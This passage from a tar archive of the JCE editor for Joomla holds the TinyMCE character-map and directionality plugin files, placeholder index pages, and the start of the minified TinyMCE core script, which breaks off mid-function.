			<div class="box">
				<div class="title">NUM-Code</div>
				<div id="codeB"></div>
			</div>
		</div>
	</div>
</form>
editor/tiny_mce/plugins/charmap/index.html000060400000000054150750527150014734 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/charmap/charmap.xml000060400000001210150750527150015067 0ustar00<?xml version="1.0" ?>
<install version="2.0.0" type="plugin" plugin="charmap" editable="0" core="1" row="2">
	<name>WF_CHARMAP_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Moxiecode / Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_CHARMAP_DESC</description>
	<icon>charmap</icon>
	<files></files>
	<params></params>
	<languages></languages>
	<help></help>
</install>
 editor/tiny_mce/plugins/charmap/charmap.php000060400000001053150750527150015063 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
require_once dirname(__FILE__).'/classes/charmap.php';

$plugin = new WFCharacterMapPlugin();
$plugin->execute();
editor/tiny_mce/plugins/charmap/js/charmap.js000060400000026351150750527150015334 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
function renderCharMapHTML(){var i,charsPerRow=20,html='<ul class="charmap">',cols=-1;for(i=0;i<charmap.length;i++)1==charmap[i][2]&&(cols++,html+="<li><a onmouseover=\"previewChar('"+charmap[i][1].substring(1,charmap[i][1].length)+"','"+charmap[i][0].substring(1,charmap[i][0].length)+"','"+charmap[i][3]+"');\" onfocus=\"previewChar('"+charmap[i][1].substring(1,charmap[i][1].length)+"','"+charmap[i][0].substring(1,charmap[i][0].length)+"','"+charmap[i][3]+'\');" href="javascript:void(0)" onclick="insertChar(\''+charmap[i][1].substring(2,charmap[i][1].length-1)+'\');" onclick="return false;" onmousedown="return false;" title="'+charmap[i][3]+'">'+charmap[i][1]+"</a></li>",(cols+1)%charsPerRow==0&&(html+='</ul><ul class="charmap">'));if(cols%charsPerRow>0)for(var padd=charsPerRow-cols%charsPerRow,i=0;i<padd-1;i++)html+="<li>&nbsp;</li>";return html+="</ul>"}function insertChar(chr){tinyMCEPopup.execCommand("mceInsertContent",!1,"&#"+chr+";"),tinyMCEPopup.isWindow&&window.focus(),tinyMCEPopup.editor.focus(),tinyMCEPopup.close()}function previewChar(codeA,codeB,codeN){var elmA=document.getElementById("codeA"),elmB=document.getElementById("codeB"),elmV=document.getElementById("codeV"),elmN=document.getElementById("codeN");"#160;"==codeA?elmV.innerHTML="__":elmV.innerHTML="&"+codeA,elmB.innerHTML="&amp;"+codeA,elmA.innerHTML="&amp;"+codeB,elmN.innerHTML=codeN}var charmap=[["&nbsp;","&#160;",!0,"no-break space"],["&amp;","&#38;",!0,"ampersand"],["&quot;","&#34;",!0,"quotation mark"],["&cent;","&#162;",!0,"cent sign"],["&euro;","&#8364;",!0,"euro sign"],["&pound;","&#163;",!0,"pound sign"],["&yen;","&#165;",!0,"yen sign"],["&copy;","&#169;",!0,"copyright sign"],["&reg;","&#174;",!0,"registered sign"],["&trade;","&#8482;",!0,"trade mark sign"],["&permil;","&#8240;",!0,"per mille sign"],["&micro;","&#181;",!0,"micro sign"],["&middot;","&#183;",!0,"middle dot"],["&bull;","&#8226;",!0,"bullet"],["&hellip;","&#8230;",!0,"three dot leader"],["&prime;","&#8242;",!0,"minutes / feet"],["&Prime;","&#8243;",!0,"seconds / inches"],["&sect;","&#167;",!0,"section sign"],["&para;","&#182;",!0,"paragraph sign"],["&szlig;","&#223;",!0,"sharp s / ess-zed"],["&lsaquo;","&#8249;",!0,"single left-pointing angle quotation mark"],["&rsaquo;","&#8250;",!0,"single right-pointing angle quotation mark"],["&laquo;","&#171;",!0,"left pointing guillemet"],["&raquo;","&#187;",!0,"right pointing guillemet"],["&lsquo;","&#8216;",!0,"left single quotation mark"],["&rsquo;","&#8217;",!0,"right single quotation mark"],["&ldquo;","&#8220;",!0,"left double quotation mark"],["&rdquo;","&#8221;",!0,"right double quotation mark"],["&sbquo;","&#8218;",!0,"single low-9 quotation mark"],["&bdquo;","&#8222;",!0,"double low-9 quotation mark"],["&lt;","&#60;",!0,"less-than sign"],["&gt;","&#62;",!0,"greater-than sign"],["&le;","&#8804;",!0,"less-than or equal to"],["&ge;","&#8805;",!0,"greater-than or equal to"],["&ndash;","&#8211;",!0,"en dash"],["&mdash;","&#8212;",!0,"em dash"],["&macr;","&#175;",!0,"macron"],["&oline;","&#8254;",!0,"overline"],["&curren;","&#164;",!0,"currency sign"],["&brvbar;","&#166;",!0,"broken bar"],["&uml;","&#168;",!0,"diaeresis"],["&iexcl;","&#161;",!0,"inverted exclamation mark"],["&iquest;","&#191;",!0,"turned question mark"],["&circ;","&#710;",!0,"circumflex accent"],["&tilde;","&#732;",!0,"small tilde"],["&deg;","&#176;",!0,"degree sign"],["&minus;","&#8722;",!0,"minus sign"],["&plusmn;","&#177;",!0,"plus-minus sign"],["&divide;","&#247;",!0,"division sign"],["&frasl;","&#8260;",!0,"fraction slash"],["&times;","&#215;",!0,"multiplication sign"],["&sup1;","&#185;",!0,"superscript one"],["&sup2;","&#178;",!0,"superscript two"],["&sup3;","&#179;",!0,"superscript three"],["&frac14;","&#188;",!0,"fraction one quarter"],["&frac12;","&#189;",!0,"fraction one half"],["&frac34;","&#190;",!0,"fraction three quarters"],["&fnof;","&#402;",!0,"function / florin"],["&int;","&#8747;",!0,"integral"],["&sum;","&#8721;",!0,"n-ary sumation"],["&infin;","&#8734;",!0,"infinity"],["&radic;","&#8730;",!0,"square root"],["&sim;","&#8764;",!1,"similar to"],["&cong;","&#8773;",!1,"approximately equal to"],["&asymp;","&#8776;",!0,"almost equal to"],["&ne;","&#8800;",!0,"not equal to"],["&equiv;","&#8801;",!0,"identical to"],["&isin;","&#8712;",!1,"element of"],["&notin;","&#8713;",!1,"not an element of"],["&ni;","&#8715;",!1,"contains as member"],["&prod;","&#8719;",!0,"n-ary product"],["&and;","&#8743;",!1,"logical and"],["&or;","&#8744;",!1,"logical or"],["&not;","&#172;",!0,"not sign"],["&cap;","&#8745;",!0,"intersection"],["&cup;","&#8746;",!1,"union"],["&part;","&#8706;",!0,"partial differential"],["&forall;","&#8704;",!1,"for all"],["&exist;","&#8707;",!1,"there exists"],["&empty;","&#8709;",!1,"diameter"],["&nabla;","&#8711;",!1,"backward difference"],["&lowast;","&#8727;",!1,"asterisk operator"],["&prop;","&#8733;",!1,"proportional to"],["&ang;","&#8736;",!1,"angle"],["&acute;","&#180;",!0,"acute accent"],["&cedil;","&#184;",!0,"cedilla"],["&ordf;","&#170;",!0,"feminine ordinal indicator"],["&ordm;","&#186;",!0,"masculine ordinal indicator"],["&dagger;","&#8224;",!0,"dagger"],["&Dagger;","&#8225;",!0,"double dagger"],["&Agrave;","&#192;",!0,"A - grave"],["&Aacute;","&#193;",!0,"A - acute"],["&Acirc;","&#194;",!0,"A - circumflex"],["&Atilde;","&#195;",!0,"A - tilde"],["&Auml;","&#196;",!0,"A - diaeresis"],["&Aring;","&#197;",!0,"A - ring above"],["&AElig;","&#198;",!0,"ligature AE"],["&Ccedil;","&#199;",!0,"C - cedilla"],["&Egrave;","&#200;",!0,"E - grave"],["&Eacute;","&#201;",!0,"E - acute"],["&Ecirc;","&#202;",!0,"E - circumflex"],["&Euml;","&#203;",!0,"E - diaeresis"],["&Igrave;","&#204;",!0,"I - grave"],["&Iacute;","&#205;",!0,"I - acute"],["&Icirc;","&#206;",!0,"I - circumflex"],["&Iuml;","&#207;",!0,"I - diaeresis"],["&ETH;","&#208;",!0,"ETH"],["&Ntilde;","&#209;",!0,"N - tilde"],["&Ograve;","&#210;",!0,"O - grave"],["&Oacute;","&#211;",!0,"O - acute"],["&Ocirc;","&#212;",!0,"O - circumflex"],["&Otilde;","&#213;",!0,"O - tilde"],["&Ouml;","&#214;",!0,"O - diaeresis"],["&Oslash;","&#216;",!0,"O - slash"],["&OElig;","&#338;",!0,"ligature OE"],["&Scaron;","&#352;",!0,"S - caron"],["&Ugrave;","&#217;",!0,"U - grave"],["&Uacute;","&#218;",!0,"U - acute"],["&Ucirc;","&#219;",!0,"U - circumflex"],["&Uuml;","&#220;",!0,"U - diaeresis"],["&Yacute;","&#221;",!0,"Y - acute"],["&Yuml;","&#376;",!0,"Y - diaeresis"],["&THORN;","&#222;",!0,"THORN"],["&agrave;","&#224;",!0,"a - grave"],["&aacute;","&#225;",!0,"a - acute"],["&acirc;","&#226;",!0,"a - circumflex"],["&atilde;","&#227;",!0,"a - tilde"],["&auml;","&#228;",!0,"a - diaeresis"],["&aring;","&#229;",!0,"a - ring above"],["&aelig;","&#230;",!0,"ligature ae"],["&ccedil;","&#231;",!0,"c - cedilla"],["&egrave;","&#232;",!0,"e - grave"],["&eacute;","&#233;",!0,"e - acute"],["&ecirc;","&#234;",!0,"e - circumflex"],["&euml;","&#235;",!0,"e - diaeresis"],["&igrave;","&#236;",!0,"i - grave"],["&iacute;","&#237;",!0,"i - acute"],["&icirc;","&#238;",!0,"i - circumflex"],["&iuml;","&#239;",!0,"i - diaeresis"],["&eth;","&#240;",!0,"eth"],["&ntilde;","&#241;",!0,"n - tilde"],["&ograve;","&#242;",!0,"o - grave"],["&oacute;","&#243;",!0,"o - acute"],["&ocirc;","&#244;",!0,"o - circumflex"],["&otilde;","&#245;",!0,"o - tilde"],["&ouml;","&#246;",!0,"o - diaeresis"],["&oslash;","&#248;",!0,"o slash"],["&oelig;","&#339;",!0,"ligature oe"],["&scaron;","&#353;",!0,"s - caron"],["&ugrave;","&#249;",!0,"u - grave"],["&uacute;","&#250;",!0,"u - acute"],["&ucirc;","&#251;",!0,"u - circumflex"],["&uuml;","&#252;",!0,"u - diaeresis"],["&yacute;","&#253;",!0,"y - acute"],["&thorn;","&#254;",!0,"thorn"],["&yuml;","&#255;",!0,"y - diaeresis"],["&Alpha;","&#913;",!0,"Alpha"],["&Beta;","&#914;",!0,"Beta"],["&Gamma;","&#915;",!0,"Gamma"],["&Delta;","&#916;",!0,"Delta"],["&Epsilon;","&#917;",!0,"Epsilon"],["&Zeta;","&#918;",!0,"Zeta"],["&Eta;","&#919;",!0,"Eta"],["&Theta;","&#920;",!0,"Theta"],["&Iota;","&#921;",!0,"Iota"],["&Kappa;","&#922;",!0,"Kappa"],["&Lambda;","&#923;",!0,"Lambda"],["&Mu;","&#924;",!0,"Mu"],["&Nu;","&#925;",!0,"Nu"],["&Xi;","&#926;",!0,"Xi"],["&Omicron;","&#927;",!0,"Omicron"],["&Pi;","&#928;",!0,"Pi"],["&Rho;","&#929;",!0,"Rho"],["&Sigma;","&#931;",!0,"Sigma"],["&Tau;","&#932;",!0,"Tau"],["&Upsilon;","&#933;",!0,"Upsilon"],["&Phi;","&#934;",!0,"Phi"],["&Chi;","&#935;",!0,"Chi"],["&Psi;","&#936;",!0,"Psi"],["&Omega;","&#937;",!0,"Omega"],["&alpha;","&#945;",!0,"alpha"],["&beta;","&#946;",!0,"beta"],["&gamma;","&#947;",!0,"gamma"],["&delta;","&#948;",!0,"delta"],["&epsilon;","&#949;",!0,"epsilon"],["&zeta;","&#950;",!0,"zeta"],["&eta;","&#951;",!0,"eta"],["&theta;","&#952;",!0,"theta"],["&iota;","&#953;",!0,"iota"],["&kappa;","&#954;",!0,"kappa"],["&lambda;","&#955;",!0,"lambda"],["&mu;","&#956;",!0,"mu"],["&nu;","&#957;",!0,"nu"],["&xi;","&#958;",!0,"xi"],["&omicron;","&#959;",!0,"omicron"],["&pi;","&#960;",!0,"pi"],["&rho;","&#961;",!0,"rho"],["&sigmaf;","&#962;",!0,"final sigma"],["&sigma;","&#963;",!0,"sigma"],["&tau;","&#964;",!0,"tau"],["&upsilon;","&#965;",!0,"upsilon"],["&phi;","&#966;",!0,"phi"],["&chi;","&#967;",!0,"chi"],["&psi;","&#968;",!0,"psi"],["&omega;","&#969;",!0,"omega"],["&alefsym;","&#8501;",!1,"alef symbol"],["&piv;","&#982;",!1,"pi symbol"],["&real;","&#8476;",!1,"real part symbol"],["&thetasym;","&#977;",!1,"theta symbol"],["&upsih;","&#978;",!1,"upsilon - hook symbol"],["&weierp;","&#8472;",!1,"Weierstrass p"],["&image;","&#8465;",!1,"imaginary part"],["&larr;","&#8592;",!0,"leftwards arrow"],["&uarr;","&#8593;",!0,"upwards arrow"],["&rarr;","&#8594;",!0,"rightwards arrow"],["&darr;","&#8595;",!0,"downwards arrow"],["&harr;","&#8596;",!0,"left right arrow"],["&crarr;","&#8629;",!1,"carriage return"],["&lArr;","&#8656;",!1,"leftwards double arrow"],["&uArr;","&#8657;",!1,"upwards double arrow"],["&rArr;","&#8658;",!1,"rightwards double arrow"],["&dArr;","&#8659;",!1,"downwards double arrow"],["&hArr;","&#8660;",!1,"left right double arrow"],["&there4;","&#8756;",!1,"therefore"],["&sub;","&#8834;",!1,"subset of"],["&sup;","&#8835;",!1,"superset of"],["&nsub;","&#8836;",!1,"not a subset of"],["&sube;","&#8838;",!1,"subset of or equal to"],["&supe;","&#8839;",!1,"superset of or equal to"],["&oplus;","&#8853;",!1,"circled plus"],["&otimes;","&#8855;",!1,"circled times"],["&perp;","&#8869;",!1,"perpendicular"],["&sdot;","&#8901;",!1,"dot operator"],["&lceil;","&#8968;",!1,"left ceiling"],["&rceil;","&#8969;",!1,"right ceiling"],["&lfloor;","&#8970;",!1,"left floor"],["&rfloor;","&#8971;",!1,"right floor"],["&lang;","&#9001;",!1,"left-pointing angle bracket"],["&rang;","&#9002;",!1,"right-pointing angle bracket"],["&loz;","&#9674;",!0,"lozenge"],["&spades;","&#9824;",!0,"black spade suit"],["&clubs;","&#9827;",!0,"black club suit"],["&hearts;","&#9829;",!0,"black heart suit"],["&diams;","&#9830;",!0,"black diamond suit"],["&ensp;","&#8194;",!1,"en space"],["&emsp;","&#8195;",!1,"em space"],["&thinsp;","&#8201;",!1,"thin space"],["&zwnj;","&#8204;",!1,"zero width non-joiner"],["&zwj;","&#8205;",!1,"zero width joiner"],["&lrm;","&#8206;",!1,"left-to-right mark"],["&rlm;","&#8207;",!1,"right-to-left mark"],["&shy;","&#173;",!1,"soft hyphen"]];tinyMCEPopup.onInit.add(function(){tinyMCEPopup.dom.show("jce"),tinyMCEPopup.dom.setHTML("charmapView",renderCharMapHTML())});editor/tiny_mce/plugins/charmap/js/index.html000060400000000054150750527150015350 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/charmap/editor_plugin.js000060400000002534150750527150016146 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=tinymce.each;tinymce.create("tinymce.plugins.CharacterMap",{init:function(ed,url){this.editor=ed,ed.addCommand("mceCharacterMap",function(v){ed.windowManager.open({url:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=charmap",width:640+parseInt(ed.getLang("advanced.charmap_delta_width",0)),height:300+parseInt(ed.getLang("advanced.charmap_delta_height",0)),close_previous:!1,inline:!0,size:"mce-modal-landscape-large"})})},createControl:function(name,cm){function insertChar(chr){editor.execCommand("mceInsertContent",!1,"&"+chr+";"),editor.focus()}var btn,self=this,editor=self.editor;if("charmap"===name)return editor.getParam("charmap_custom")?(btn=cm.createSplitButton(name,{title:"advanced.charmap_desc",cmd:"mceCharacterMap"}),btn.onRenderMenu.add(function(btn,menu){each(editor.getParam("charmap_custom","","hash"),function(v,k){var id=editor.dom.uniqueId();v=v.replace(/[^a-z0-9]/gi,""),menu.add({id:id,title:k+" &"+v+";",onclick:function(){insertChar(v)}})})})):btn=cm.createButton(name,{title:"advanced.charmap_desc",cmd:"mceCharacterMap"}),btn}}),tinymce.PluginManager.add("charmap",tinymce.plugins.CharacterMap)}();editor/tiny_mce/plugins/charmap/classes/index.html000060400000000054150750527150016371 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/charmap/classes/charmap.php000060400000001504150750527150016521 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFCharacterMapPlugin extends WFEditorPlugin
{
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $document->addScript(array('charmap'), 'plugins');
        $document->addStyleSheet(array('charmap'), 'plugins');
    }
}
editor/tiny_mce/plugins/directionality/index.html000060400000000054150750527150016344 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/directionality/directionality.xml000060400000001302150750527150020111 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="directionality" core="1" editable="0">
	<name>WF_DIRECTIONALITY_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_DIRECTIONALITY_DESC</description>
	<icon>ltr,rtl</icon>
	<params></params>
	<help>
		<topic key="directionality.about" title="WF_DIRECTIONALITY_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/directionality/editor_plugin.js000060400000002656150750527150017563 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.Directionality",{init:function(b,c){function a(e){var g,h=b.dom,f=b.selection.getSelectedBlocks();f.length&&(g=h.getAttrib(f[0],"dir"),tinymce.each(f,function(i){h.getParent(i.parentNode,"*[dir='"+e+"']",h.getRoot())||(g!=e?h.setAttrib(i,"dir",e):h.setAttrib(i,"dir",null))}),b.nodeChanged())}var d=this;d.editor=b,b.addCommand("mceDirectionLTR",function(){a("ltr")}),b.addCommand("mceDirectionRTL",function(){a("rtl")}),b.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"}),b.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"}),b.onNodeChange.add(d._nodeChange,d)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var c,d=b.dom;return(e=d.getParent(e,d.isBlock))?(c=d.getAttrib(e,"dir"),a.setActive("ltr","ltr"==c),a.setDisabled("ltr",0),a.setActive("rtl","rtl"==c),void a.setDisabled("rtl",0)):(a.setDisabled("ltr",1),void a.setDisabled("rtl",1))}}),tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)}();editor/tiny_mce/index.html000060400000000054150750527150011640 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/tiny_mce.js000060400001251611150750527150012020 0ustar00/**
 * Copyright 2009, Moxiecode Systems AB
 * Released under LGPL License.
 * License: https://tinymce.moxiecode.com/license
 * Contributing: https://tinymce.moxiecode.com/contributing
**/
!function(win){var undef,whiteSpaceRe=/^\s*|\s*$/g,isRegExpBroken="$1"==="B".replace(/A(.)|B/,"$1"),slice=[].slice,tinymce={majorVersion:"3",minorVersion:"6",releaseDate:"14-03-2019",_init:function(){function getBase(n){return n.src&&/tiny_mce(|_gzip|_jquery|_prototype|_full)(_dev|_src)?.js/.test(n.src)?(/_(src|dev)\.js/g.test(n.src)&&(t.suffix="_src"),(p=n.src.indexOf("?"))!=-1&&(t.query=n.src.substring(p+1)),t.baseURL=n.src.substring(0,n.src.lastIndexOf("/")),base&&t.baseURL.indexOf("://")==-1&&0!==t.baseURL.indexOf("/")&&(t.baseURL=base+t.baseURL),t.baseURL):null}var i,nl,n,base,p,v,t=this,d=document,na=navigator,ua=na.userAgent;t.isOpera=win.opera&&win.opera.buildNumber||!1,t.isWebKit=/WebKit/.test(ua);var isIE=!t.isWebKit&&!t.isOpera&&/MSIE/gi.test(ua)&&/Explorer/gi.test(na.appName);if(isIE=isIE&&/MSIE (\w+)\./.exec(ua)[1],t.isIE11=ua.indexOf("Trident/")!=-1&&(ua.indexOf("rv:")!=-1||na.appName.indexOf("Netscape")!=-1)&&11,t.isIE=isIE||t.isIE11,t.isIE12=ua.indexOf("Edge/")!=-1&&!t.isIE&&12,t.isIE12&&(t.isWebKit=!1),t.isIE6=t.isIE&&/MSIE [56]/.test(ua),t.isIE7=t.isIE&&/MSIE [7]/.test(ua),t.isIE8=t.isIE&&/MSIE [8]/.test(ua),t.isIE9=t.isIE&&/MSIE [9]/.test(ua),t.isIE10=t.isIE&&/MSIE [10]/.test(ua),t.isGecko=!t.isWebKit&&!t.isIE11&&/Gecko/.test(ua),t.isMac=ua.indexOf("Mac")!=-1,t.isAir=/adobeair/i.test(ua),t.isIDevice=/(iPad|iPhone)/.test(ua),t.isIOS=t.isIDevice,t.isIOS5=t.isIDevice&&ua.match(/AppleWebKit\/(\d*)/)[1]>=534,win.tinyMCEPreInit)return t.suffix=tinyMCEPreInit.suffix,t.baseURL=tinyMCEPreInit.base,void(t.query=tinyMCEPreInit.query);for(t.suffix="",nl=d.getElementsByTagName("base"),i=0;i<nl.length;i++)v=nl[i].href,v&&(/^https?:\/\/[^\/]+$/.test(v)&&(v+="/"),base=v?v.match(/.*\//)[0]:"");for(nl=d.getElementsByTagName("script"),i=0;i<nl.length;i++)if(getBase(nl[i]))return;if(n=d.getElementsByTagName("head")[0])for(nl=n.getElementsByTagName("script"),i=0;i<nl.length;i++)if(getBase(nl[i]))return},is:function(o,t){return t?!("array"!=t||!tinymce.isArray(o))||typeof o==t:o!==undef},isArray:Array.isArray||function(obj){return"[object Array]"===Object.prototype.toString.call(obj)},makeMap:function(items,delim,map){var i;for(items=items||[],delim=delim||",","string"==typeof items&&(items=items.split(delim)),map=map||{},i=items.length;i--;)map[items[i]]={};return map},each:function(o,cb,s){var n,l;if(!o)return 0;if(s=s||o,o.length!==undef){for(n=0,l=o.length;n<l;n++)if(cb.call(s,o[n],n,o)===!1)return 0}else for(n in o)if(o.hasOwnProperty(n)&&cb.call(s,o[n],n,o)===!1)return 0;return 1},map:function(a,f){var o=[];return tinymce.each(a,function(v){o.push(f(v))}),o},grep:function(a,f){var o=[];return tinymce.each(a,function(v){f&&!f(v)||o.push(v)}),o},inArray:function(a,v){var i,l;if(a)for(i=0,l=a.length;i<l;i++)if(a[i]===v)return i;return-1},toArray:function(obj){var i,l,array=obj;if(!tinymce.isArray(obj))for(array=[],i=0,l=obj.length;i<l;i++)array[i]=obj[i];return array},extend:function(obj,ext){var i,l,name,value,args=arguments;for(i=1,l=args.length;i<l;i++){ext=args[i];for(name in ext)ext.hasOwnProperty(name)&&(value=ext[name],value!==undef&&(obj[name]=value))}return obj},trim:function(s){return(s?""+s:"").replace(whiteSpaceRe,"")},create:function(s,p,root){var sp,ns,cn,scn,c,t=this,de=0;if(s=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(s),cn=s[3].match(/(^|\.)(\w+)$/i)[2],ns=t.createNS(s[3].replace(/\.\w+$/,""),root),!ns[cn]){if("static"==s[2])return ns[cn]=p,void(this.onCreate&&this.onCreate(s[2],s[3],ns[cn]));p[cn]||(p[cn]=function(){},de=1),ns[cn]=p[cn],t.extend(ns[cn].prototype,p),s[5]&&(sp=t.resolve(s[5]).prototype,scn=s[5].match(/\.(\w+)$/i)[1],c=ns[cn],de?ns[cn]=function(){return sp[scn].apply(this,arguments)}:ns[cn]=function(){return this.parent=sp[scn],c.apply(this,arguments)},ns[cn].prototype[cn]=ns[cn],t.each(sp,function(f,n){ns[cn].prototype[n]=sp[n]}),t.each(p,function(f,n){sp[n]?ns[cn].prototype[n]=function(){return this.parent=sp[n],f.apply(this,arguments)}:n!=cn&&(ns[cn].prototype[n]=f)})),t.each(p.static,function(f,n){ns[cn][n]=f}),this.onCreate&&this.onCreate(s[2],s[3],ns[cn].prototype)}},walk:function(o,f,n,s){s=s||this,o&&(n&&(o=o[n]),tinymce.each(o,function(o,i){return f.call(s,o,i,n)!==!1&&void tinymce.walk(o,f,n,s)}))},createNS:function(n,o){var i,v;for(o=o||win,n=n.split("."),i=0;i<n.length;i++)v=n[i],o[v]||(o[v]={}),o=o[v];return o},resolve:function(n,o){var i,l;for(o=o||win,n=n.split("."),i=0,l=n.length;i<l&&(o=o[n[i]],o);i++);return o},addUnload:function(f,s){function fakeUnload(){function stop(){d.detachEvent("onstop",stop),unload&&unload(),d=0}var d=document;"interactive"==d.readyState&&(d&&d.attachEvent("onstop",stop),win.setTimeout(function(){d&&d.detachEvent("onstop",stop)},0))}var unload,t=this;return unload=function(){var o,n,li=t.unloads;if(li){for(n in li)o=li[n],o&&o.func&&o.func.call(o.scope,1);win.detachEvent?(win.detachEvent("onbeforeunload",fakeUnload),win.detachEvent("onunload",unload)):win.removeEventListener&&win.removeEventListener("unload",unload,!1),t.unloads=o=li=w=unload=0,win.CollectGarbage&&CollectGarbage()}},f={func:f,scope:s||this},t.unloads?t.unloads.push(f):(win.attachEvent?(win.attachEvent("onunload",unload),win.attachEvent("onbeforeunload",fakeUnload)):win.addEventListener&&win.addEventListener("unload",unload,!1),t.unloads=[f]),f},removeUnload:function(f){var u=this.unloads,r=null;return tinymce.each(u,function(o,i){if(o&&o.func==f)return u.splice(i,1),r=f,!1}),r},explode:function(s,d){return!s||tinymce.is(s,"array")?s:tinymce.map(s.split(d||","),tinymce.trim)},curry:function(fn){var args=slice.call(arguments);return args.length-1>=fn.length?fn.apply(this,args.slice(1)):function(){var tempArgs=args.concat([].slice.call(arguments));return tinymce.curry.apply(this,tempArgs)}},_addVer:function(u){var v;return this.query?(v=(u.indexOf("?")==-1?"?":"&")+this.query,u.indexOf("#")==-1?u+v:u.replace("#",v+"#")):u},_replace:function(find,replace,str){return isRegExpBroken?str.replace(find,function(){var i,val=replace,args=arguments;for(i=0;i<args.length-2;i++)val=args[i]===undef?val.replace(new RegExp("\\$"+i,"g"),""):val.replace(new RegExp("\\$"+i,"g"),args[i]);return val}):str.replace(find,replace)}};tinymce._init(),win.tinymce=win.tinyMCE=tinymce}(window),tinymce.create("tinymce.util.Dispatcher",{scope:null,listeners:null,inDispatch:!1,Dispatcher:function(scope){this.scope=scope||this,this.listeners=[]},add:function(callback,scope){return this.listeners.push({cb:callback,scope:scope||this.scope}),callback},addToTop:function(callback,scope){var self=this,listener={cb:callback,scope:scope||self.scope};return self.inDispatch?self.listeners=[listener].concat(self.listeners):self.listeners.unshift(listener),callback},remove:function(callback){var listeners=this.listeners,output=null;return tinymce.each(listeners,function(listener,i){if(callback==listener.cb)return output=listener,listeners.splice(i,1),!1}),output},dispatch:function(){var returnValue,i,listener,self=this,args=arguments,listeners=self.listeners;for(self.inDispatch=!0,i=0;i<listeners.length&&(listener=listeners[i],returnValue=listener.cb.apply(listener.scope,args.length>0?args:[listener.scope]),returnValue!==!1);i++);return self.inDispatch=!1,returnValue}}),function(){var each=tinymce.each;tinymce.create("tinymce.util.URI",{URI:function(u,s){var b,base_url,t=this;return u=tinymce.trim(u),s=t.settings=s||{},/^([\w\-]+):([^\/]{2})/i.test(u)||/^\s*#/.test(u)?void(t.source=u):(0===u.indexOf("/")&&0!==u.indexOf("//")&&(u=(s.base_uri?s.base_uri.protocol||"http":"http")+"://mce_host"+u),/^[\w\-]*:?\/\//.test(u)||(base_url=s.base_uri?s.base_uri.path:new tinymce.util.URI(location.href).directory,u=(s.base_uri&&s.base_uri.protocol||"http")+"://mce_host"+t.toAbsPath(base_url,u)),u=u.replace(/@@/g,"(mce_at)"),u=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(u),each(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(v,i){var s=u[i];s&&(s=s.replace(/\(mce_at\)/g,"@@")),t[v]=s}),b=s.base_uri,void(b&&(t.protocol||(t.protocol=b.protocol),t.userInfo||(t.userInfo=b.userInfo),t.port||"mce_host"!==t.host||(t.port=b.port),t.host&&"mce_host"!==t.host||(t.host=b.host),t.source="")))},setPath:function(p){var 